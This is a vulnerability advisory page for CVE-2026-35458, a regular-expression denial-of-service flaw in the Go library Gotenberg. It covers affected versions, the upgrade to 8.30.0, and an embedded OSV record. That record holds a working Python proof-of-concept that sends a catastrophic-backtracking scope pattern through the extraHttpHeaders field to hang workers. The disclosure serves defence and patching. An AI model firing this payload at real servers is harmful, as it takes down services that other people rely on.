CVE-2026-35458: Github.com/gotenberg/gotenberg/v8 Denial of Service Vulnerability
HIGHCVE-2026-35458 is a HIGH denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves gotenberg vulnerable to redos via extrahttpheaders scope feature. Remediation is available by upgrading affected packages to version 8.30.0.
CVE-2026-35458 at a Glance
How to Fix CVE-2026-35458
To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/gotenberg/gotenberg/v8 to 8.30.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/gotenberg/gotenberg/v8
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-35458, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:
inspect dependencies for github.com/gotenberg/gotenberg/v8
Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.30.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-35458 Affected Github.com/gotenberg/gotenberg/v8 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/gotenberg/gotenberg/v8
|
Go |
< 8.30.0
|
8.30.0
|
References
Frequently Asked Questions
What is CVE-2026-35458?
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
What version fixes CVE-2026-35458?
Is github.com/gotenberg/gotenberg/v8 affected?
What CWE is associated with CVE-2026-35458?
How can I check Go dependencies for CVE-2026-35458?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fmwg-qcqh-m992",
"modified" : "2026-04-07T18:16:19Z",
"published" : "2026-04-07T18:16:19Z",
"aliases" : [ "CVE-2026-35458" ],
"summary" : "Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature",
"details" : "### Summary\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely. \n\n### Details\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = \"forever\".\n\nFor example, any user with access to the endpoint `/forms/chromium/screenshot/url` can add a crafted scope pattern to the `extraHttpHeaders` form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.\n\nSee the [dlclark/regexp2 README.md](https://github.com/dlclark/regexp2?tab=readme-ov-file#catastrophic-backtracking-and-timeouts) for further considerations.\n\nTested on the latest container version gotenberg/gotenberg:8.29.1\n\n### PoC\n\nThe following Python script uses the `/forms/chromium/screenshot/url` endpoint, testing for differences in responses times between simple and malicious regexes.\n\n```python\n#!/usr/bin/env -S uv run --script\n# /// script\n# requires-python = \">=3.12\"\n# dependencies = [\n# \"requests\",\n# ]\n# ///\nimport json\nimport time\nimport requests\n\nHOST = \"localhost:3000\"\n# HOST = \"gotenberg.local:3000\"\n\ndef send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):\n \"\"\"Send a screenshot request to Gotenberg and measure response time.\"\"\"\n url = f\"http://{host}/forms/chromium/screenshot/url\"\n print(f\"\\n[*] {label}\")\n print(f\" extraHttpHeaders: {json.dumps(headers_dict)}\")\n\n start = time.time()\n try:\n r = requests.post(\n url,\n data={\n \"url\": \"http://api.service:3000/snapshot/\",\n \"extraHttpHeaders\": json.dumps(headers_dict),\n },\n files={\"a\": \"b\"},\n timeout=timeout,\n )\n elapsed = time.time() - start\n print(f\" Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s\")\n except requests.exceptions.Timeout:\n elapsed = time.time() - start\n print(f\" TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)\")\n except requests.exceptions.ConnectionError as e:\n elapsed = time.time() - start\n print(f\" CONNECTION ERROR after {elapsed:.2f}s: {e}\")\n\n\ndef main():\n # --- Test 1: Baseline ---\n send_request(HOST, {\"X-Test\": \"baseline\"}, \"Baseline: no scope\")\n\n # --- Test 2: Simple scope ---\n send_request(HOST, {\"X-Test\": \"value; scope=.*\"}, \"Simple scope: '.*'\")\n\n # --- Test 3: ReDoS scope ---\n # Classic evil pattern: nested quantifiers on overlapping character class.\n evil_pattern = r\"([a-zA-Z0-9.:/_]+)+\\!\"\n send_request(\n HOST,\n {\"X-Test\": f\"value; scope={evil_pattern}\"},\n f\"ReDoS scope: '{evil_pattern}'\",\n timeout=15,\n )\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\n\nThis is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the `/forms/chromium/screenshot/url` endpoint specifing the `extraHttpHeaders` field are affected.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/gotenberg/gotenberg/v8"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "8.30.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 8.29.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-fmwg-qcqh-m992"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35458"
}, {
"type" : "WEB",
"url" : "https://github.com/gotenberg/gotenberg/commit/cfb48d9af48cb236244eabe5c67fe1d30fb3fe25"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gotenberg/gotenberg"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1333" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-07T18:16:19Z",
"nvd_published_at" : "2026-04-07T15:17:43Z"
}
}